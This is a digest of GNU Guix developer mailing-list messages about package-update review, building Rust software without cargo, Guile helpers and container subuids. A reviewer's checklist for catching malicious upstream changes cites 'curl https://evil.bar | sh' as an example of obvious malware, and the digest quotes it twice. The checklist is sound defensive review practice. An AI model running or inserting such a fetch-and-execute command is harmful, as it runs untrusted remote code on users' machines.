Re: Reviewing the diff when updating a package?

[Thiago Jung Bauermann]

Hello Maxime,

Thank you for such a detailed answer to my question. I appreciate it.

Maxime Devos  writes:

> Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
>> Hello Maxime,
>> 
>> Maxime Devos  writes:
>> 
>> > Patch is not yet ready (I'm looking at the source code diff for
>> > anything ‘suspicious’), just reserving a bug number and avoiding double
>> > work.  Will send an actual patch later.
>> 
>> I hope you don't mind me asking what do you mean by ‘suspicious’?
>> 
>> Is it reviewing the code for security concerns?
>
> That (to a limited degree), and other things.
>
>> I ask because I've wondered sometimes whether contributors updating a
>> package to a new version should review the new source code.
>
> I don't think it's feasible for, say, large things like GCC and Linux.
> But for smaller things with smaller diffs, say a hypothetical npm-
> event-stream package, it would easily avoid things like the compromise
> described in .
>
> While we cannot feasibly protect users against more ‘hidden’ malware
> (e.g. some non-obvious remote code execution in C that then will be
> exploited by the upstream authors), the more obvious ‘here's a blob you
> don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
> is an important property of a distribution.

Indeed. That's a very sensible approach. Just because we can't hope to
detect all malicious changes, doesn't mean we can't attempt to catch the
more obvious malicious changes which, as your example shows, are
actually found in the wild.

> I look for the following things:
>
>   1. additional bundled software
>   2. code with a different license than mentioned in the 'license'
>  field (especially if it's propietary)
>   3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
>   4. blobs (possibly hiding malware)
>   5. things that look like bugs (e.g. not checking the return value of
>  'malloc' for NULL, not escaping things written to HTML documents
>   ...)
>
> I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
> detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
> through the code and don't do any detailed analysis
>
> (*) more specifically, some code not checking for NULL and an URL being
> embedded in the 'href' attribute of an XML element without escaping.

Wow, that's very thorough. Thank you for all this care with package
updates.

This is very useful guidance when creating/reviewing patches that update
packages. I'll take a stab at adding this information to the “Submitting
Patches” section of the manual.

-- 
Thanks
Thiago

Re: Getting the name of file-like objects

[Liliana Marie Prikler]

Hi Justin

Am Freitag, dem 01.04.2022 um 16:29 -0400 schrieb Justin Veilleux:
>  Hi everyone. I'm currently writing a set of helper functions
> (usually written using `computed-file`  which act on file like
> objects to transform them in some way.
> For instance, I have a `decompress` function which, given a file-like
> object pointing to an archive, will return a computed file object
> which it will decompress to it's output.
>  Everything works very well, but I would like to be able to name the
> `computed-file` objects something meaningfull.
> ```
> (define (unzip f)
>   (computed-file (string-append (name f) "-unzipped")
> #~(begin
> (system* (string-append #$unzip "/bin/unzip")
>  "-d" #$output
>  #$file))
>  #$out))
> ```
> Is there someting which ressembles the imaginary `name` function I
> used above?
Generally speaking, you'll have to speak to the store to achieve your
goal.  For a specific implementation, that fetches a file from a
package (without building the package in question!), see package-file
in (guix packages).

Cheers

Re: Video Conference

[jbranso]

April 2, 2022 12:26 AM, "Yasuaki Kudo"  wrote:

> Hi,
> 
> 2 years ago, I joined meet.coop , a video conference service cooperative and 
> explored the business
> potential in Japan.
> 
> The coop hosted BBB but the gap I discovered was that the potential customers 
> in Japan would not be
> interested unless the service is customized to their exact needs - otherwise 
> they preferred Zoom
> and Google meet.
> 
> So ability to to take the video conference service into minimalist components 
> and then reassembling
> is very important 
> 

Sounds like a worthwhile project.  You can always reach out to the BBB or jitsi 
developers
and see what they think of your proposal.

> -Yasu
> 
>> On Apr 2, 2022, at 03:59, jbra...@dismail.de wrote:
>> 
>> March 31, 2022 7:53 PM, "Yasuaki Kudo"  wrote:
>> 
>>> Hello,
>>> 
>>> From time to time, I think about audio/video mixer (.i.e. video conference 
>>> software like BBB or
>>> Jitsi) , with the intension of making it highly modular that it can be 
>>> freely remixed and
>>> reinvented by volunteer participants.
>>> 
>>> Is anyone interested? Or is can you think about something that already 
>>> exists?
>> 
>> Your proposal sounds a little vague. What are you hoping to accomplish that 
>> BBB or Jitsi
>> does not already do?
>> 
>>> Cheers,
>>> Yasu

Re: Compiling rust things without cargo (super WIP POC)

[Hartmut Goebel]

Am 31.03.22 um 22:06 schrieb Maxime Devos:

In my experiments, it looks like the rust compiler actually_does_
support static libraries, though perhaps cargo doesn't.


AFAIU this assumption is correct.



I invite you to take a look 
at.
It contains a minimal rust library (libhello) and a minimal 'hello
world'-style application that uses 'libhello'.

Impressive!

As a next step, maybe I could try writing a Guix package definition for libhello
and hello-oxygen, gradually making things more complicated (macros, transitive
dependencies, some non-toy Rust dependencies, a Guix build system ...)?


Here is my challenge :-) 
: 
different dependencies per feature, os, target-arch and target-os as 
well as passing on features to dependencies.


--
Regards
Hartmut Goebel

| Hartmut Goebel  | h.goe...@crazy-compilers.com   |
| www.crazy-compilers.com | compilers which you thought are impossible |

Building hexyl (a rust app) without cargo, with antioxidant-build-system

[Maxime Devos]

Hi,

antioxidant-build-system can now be used for some ‘real’ software -- it
compiles 'hexyl'.  To test, download
 (commit:
d09fd93750ac6d77e0c85623286b45cf5c3b055b) and run
"guix build -L . -f guix.scm" and then

$ cat guix.scm | /gnu/store/[...]-hexyl-0.8.0/bin/hexyl
> lots of coloured hex output

Some features of antioxidant-build-system:

  * no copying source code of dependencies
  * no compiling dependencies again -- old artifacts are reused
  * all dependencies use the usual package input system
(native-inputs, inputs, propagated-inputs)

Limitations:

  * no support for linking to arbitrary shared libraries yet
(only rust deps)
  * makes a few assumptions on the source layout (can be fixed
by using more info from Cargo.toml)
  * no tests
  * no cross-compilation yet
  * no shared libraries (just replacing 'rlib' by 'dylib' causes problems)
  * code is a bit messy
  * no cdylib yet (probably needed for librsvg)

Greetings,
Maxime.


signature.asc
Description: This is a digitally signed message part

Re: Compiling rust things without cargo (super WIP POC)

[Hartmut Goebel]

Am 01.04.22 um 12:08 schrieb Maxime Devos:

Do you know a ‘real’ Rust applications with few transitive dependencies
(say, 3 or so) with preferably few rust source files?


For my tests I used „roxmltree“, and by searching I just discovered 
https://crates.io/crates/hello_exercism.


HTH

--
Regards
Hartmut Goebel

| Hartmut Goebel  | h.goe...@crazy-compilers.com   |
| www.crazy-compilers.com | compilers which you thought are impossible |

Re: New review checklist

[Liliana Marie Prikler]

Am Samstag, dem 02.04.2022 um 15:38 +0200 schrieb Bengt Richter:
> Hi Liliana, Maxime, et al,
> [...]
> Here ISTM important to understand exactly what you mean by "let-
> binding" so I would really like it if I could type
> 
> --8<---cut here---start->8---
>     info guile let-binding
> --8<---cut here---end--->8---
Does info '(guile)Local Bindings' answer this question? :P
We might want to make it so that '(guile)let' shows this node
otherwise.

> into my command line interpreter, and get right to the details
> as I often can for other things, e.g.
> 
> --8<---cut here---start->8---
>     info guile define-macro
> --8<---cut here---end--->8---
> 
> This suggests to me something like a translation project, except
> not beween local natural languages, but between
> expert guile/guix implementer's terminology and detailed explanations
> that various level programmers can go into as deeply as they want
> (following suggested reading if not included in the info doc itself).
> 
> I am also imagining info could be instrumented to emit a minimal
> email to a server that could accumulate statistics on no-hit lookups,
> and that this could be visible in some tool when someone
> feels like contributing to make
I don't think let-binding is such a complicated concept.  It is exactly
what it says on the tin: Using the let syntax to bind a variable. 
Furthermore, even if you don't understand the term on its own, Maxime
went on to state the question at hand in more detail, from which you
could infer the difference between "let-binding" and not "let-binding".


Cheers

Re: lxc and subuid

[Maxime Devos]

Ludovic Courtès schreef op vr 01-04-2022 om 10:12 [+0200]:
> Or we could unconditionally add 65536 subuids for each non-system user
> account; that’s what other distros seem to be doing.
> 
> I think we could take advantage of it for ‘guix system container’: it
> could run in an unprivileged user namespace and map several UIDs in that
> namespace, such that it doesn’t need to run as root anymore.

I think it will need to be conditional, because the container only has
access to 65536 uids.  So if the container contains at least one non-
system user, then all available uids are occupied so there is no room
anymore for 'root' or per-service users ...

Greetings,
Maxime.


signature.asc
Description: This is a digitally signed message part

Re: New review checklist

[Bengt Richter]

Hi Liliana, Maxime, et al,

On +2022-04-01 20:25:37 +0200, Liliana Marie Prikler wrote:
> Hi Maxime,
> 
> Am Freitag, dem 01.04.2022 um 19:46 +0200 schrieb Maxime Devos:
> > [...]
> > I know there have been some discussions in the past about whether
> > git-version should be used when a commit is explicitly chosen,
> > whether
> > tags should be used instead of commits, how high a risk there a is that
> > version->commit can become multi-valued, ‘tricking peer review’ ...
> > 
> > However, my question isn't about any of that.  It is only about the
> > let-binding itself, in situations where the bound variable is only

Here ISTM important to understand exactly what you mean by "let-binding"
so I would really like it if I could type

--8<---cut here---start->8---
info guile let-binding
--8<---cut here---end--->8---

into my command line interpreter, and get right to the details
as I often can for other things, e.g.

--8<---cut here---start->8---
info guile define-macro
--8<---cut here---end--->8---

This suggests to me something like a translation project, except
not bewween local natural languages, but between
expert guile/guix implementer's terminology and detailed explanations
that various level programmers can go into as deeply as they want (following
suggested reading if not included in the info doc itself).

I am also imagining info could be instrumented to emit a minimal email
to a server that could accumulate statistics on no-hit lookups,
and that this could be visible in some tool when someone
feels like contributing to make

--8<---cut here---start->8---
info guile what-does-this-mean
--8<---cut here---end--->8---

produce a result that we can all refer to when we want/need
to say "that's what I am talking about."

After getting past foot-binding and other bindings, wikipedia
got me to [0], which might be a nice read-further hint, but
what did Maxime mean, out of all those possibilities?

[0]https://en.wikipedia.org/wiki/Scope_(computer_science)

To be really precise, if he could point to a formal definition
in some style from [1]

[1]https://en.wikipedia.org/wiki/Denotational_semantics

that could really nail it when such detail was necessary.

Of course,

--8<---cut here---start->8---
 info guile define-language
--8<---cut here---end--->8---

leads to wonder-land. But if you just want a quick check
that you have the right concept for something you read,
well, good luck in RL -- in fact I just missed a local
library music event because I was reading guile info docs to
make examples for this post -- i.e. got drawn into reading
about define-language and not watching the time ;-/

I think for best effect, there should be no dependencies to prevent
usage anywhere "info guile" answers usefully at the command line.

Anyone else want to know exactly what Maxime meant by "let-binding" ? :)

> > used in a single place.  What is the reason for doing
> > 
> > (let ((commit "cabba9e..."))
> >   (package
> >     (name "foobar")
> >     (version "0.1.2")
> >     (source (origin ...
> >   ;; this is the only use of the 'commit' variable bound
> > in
> >   ;; the above 'commit'
> >   (commit commit)))
> >     ...))
> > 
> > when it can be simplified to
> > 
> > (packaeg
> >   (name "foobar")
> >   (version "0.1.2")
> >   (source (origin ... (commit "cabba9e..."?
> > 
> > I mean, we don't do this for, say, 'name', 'version' and 'uri':
> > 
> > ;; these three variables are only used in a single location
> > (let ((name "foobar")
> >   (version "0.1.2")
> >   (uri "https://foo.bar;))
> >   (package
> >     (name name)
> >     (version version)
> >     (source (origin (uri uri) (commit ) [...]))
> >     ...))
> > 
> > Why would things be different for 'commit' here?  How does putting
> > the value of 'commit' in a let-form reduce surprises?
> The main goal of let-binding commit and revision is to allow for easier
> change.  Suppose you need to reference some half-release for some
> obscure reason, then this style makes it easier to switch to what is
> already established praxis.
> 
> In general, consider the poor soul who may have to read and maintain
> your code after you get hit by a car because neither busses nor trams
> run in your region.
> 

-- 
Regards,
Bengt Richter

Re: Removing #:skip-build? from the crate importer?

[Maxime Devos]

Hartmut Goebel schreef op za 02-04-2022 om 11:45 [+0200]:
> [checksum things]
> (Maybe the road to go would be to make cargo less strict here. But
> this requires understanding rust code and cargo.)

FWIW, in

and
,
the Cargo.toml is parsed.
By using 'toml.dump' from python-toml, it should be feasible to
automatically strip out all mentions of optional dependencies.  That's
another form of ‘less strict’ though.

Greetings,
Maxime.


signature.asc
Description: This is a digitally signed message part

Re: Removing #:skip-build? from the crate importer?

[Hartmut Goebel]

Am 31.03.22 um 21:14 schrieb Maxime Devos:

There are a few counter-proposals.  One suggestion that has been
raised, but not yet implemented, would be to make it so that build
results can actually be reused.  This is the most promising
conceptually, but from what I can gather from those working on it might
not be that easy to pull off.

Yes, that would be nice.


AFAIK Effraim and me tried to make cargo pick up artifacts build in 
another package. I gave somewhen: cargo did not pick up the artifacts, 
due to much „magic“ which I was unable to understand and work around.


One of the topics here are „features“ (like compile-time options), 
timestamps, exact absolute pathname, etc. All of this seems to go into 
some hash, which will determine which files will be rebuild. If anybody 
is interested, I could share the code of my last try. (Maybe the road to 
go would be to make cargo less strict here. But this requires 
understanding rust code and cargo.)



--
Regards
Hartmut Goebel

| Hartmut Goebel  |h.goe...@crazy-compilers.com|
|www.crazy-compilers.com  | compilers which you thought are impossible |

Re: Compiling rust things without cargo (super WIP POC)

[Maxime Devos]

Maxime Devos schreef op do 31-03-2022 om 22:06 [+0200]:
> As a next step, maybe I could try writing a Guix package definition
> for libhello
> and hello-oxygen, gradually making things more complicated (macros,
> transitive
> dependencies, some non-toy Rust dependencies, a Guix build system
> ...)?

Update: it can now build rust-cfg-if, libhello and rust-hello with
Guix!

Greetings,
Maxime.


signature.asc
Description: This is a digitally signed message part

Re: Getting the name of file-like objects

[Maxime Devos]

Justin Veilleux schreef op vr 01-04-2022 om 16:29 [-0400]:
> (define (unzip f)
>   (computed-file (string-append (name f) "-unzipped")
> #~(begin
> (system* (string-append #$unzip "/bin/unzip")

(unrelated) you can do #+(file-append unzip "/bin/unzip") here.  The
'file-append' is not very important here, but the #+ is.  The
difference between #+ (cf. 'native-inputs) and #$ (cf. 'inputs') is
important when cross-compiling.

Also, I would use 'invoke' instead of 'system*' here -- 'invoke' throws
an exception if it fails (making the derivation fail to build), whereas
'system*' silently returns an integer.

>  "-d" #$output
>  #$file))
>  #$out))
> ```
> 
> Is there someting which ressembles the imaginary `name` function
>   I used above?

computed-file-name, local-file-name, package-name ...  I don't think
there's some generic procedure for this.

Greetings,
Maxime.


signature.asc
Description: This is a digitally signed message part

Re: Reviewing the diff when updating a package?

[Maxime Devos]

Thiago Jung Bauermann schreef op vr 01-04-2022 om 22:59 [-0300]:
> Hello Maxime,
> 
> Maxime Devos  writes:
> 
> > Patch is not yet ready (I'm looking at the source code diff for
> > anything ‘suspicious’), just reserving a bug number and avoiding double
> > work.  Will send an actual patch later.
> 
> I hope you don't mind me asking what do you mean by ‘suspicious’?
> 
> Is it reviewing the code for security concerns?

That (to a limited degree), and other things.

> 
> I ask because I've wondered sometimes whether contributors updating a
> package to a new version should review the new source code.

I don't think it's feasible for, say, large things like GCC and Linux.
But for smaller things with smaller diffs, say a hypothetical npm-
event-stream package, it would easily avoid things like the compromise
described in .

While we cannot feasibly protect users against more ‘hidden’ malware
(e.g. some non-obvious remote code execution in C that then will be
exploited by the upstream authors), the more obvious ‘here's a blob you
don't need to look at’ seems detectable.  I think ‘no malware (AFAWCT)’
is an important property of a distribution.

I look for the following things:

  1. additional bundled software
  2. code with a different license than mentioned in the 'license'
 field (especially if it's propietary)
  3. ‘obvious’ malware like: curl https://evil.bar | sh - in a
  4. blobs (possibly hiding malware)
  5. things that look like bugs (e.g. not checking the return value of
 'malloc' for NULL, not escaping things written to HTML documents
  ...)

I think I can reliably detect (1,3,4).  I sometimes detect (5) but not
detecting (5) (*) doesn't mean there are no bugs, I just quickly scroll
through the code and don't do any detailed analysis

(*) more specifically, some code not checking for NULL and an URL being
embedded in the 'href' attribute of an XML element without escaping.


Greetings,
Maxime.


signature.asc
Description: This is a digitally signed message part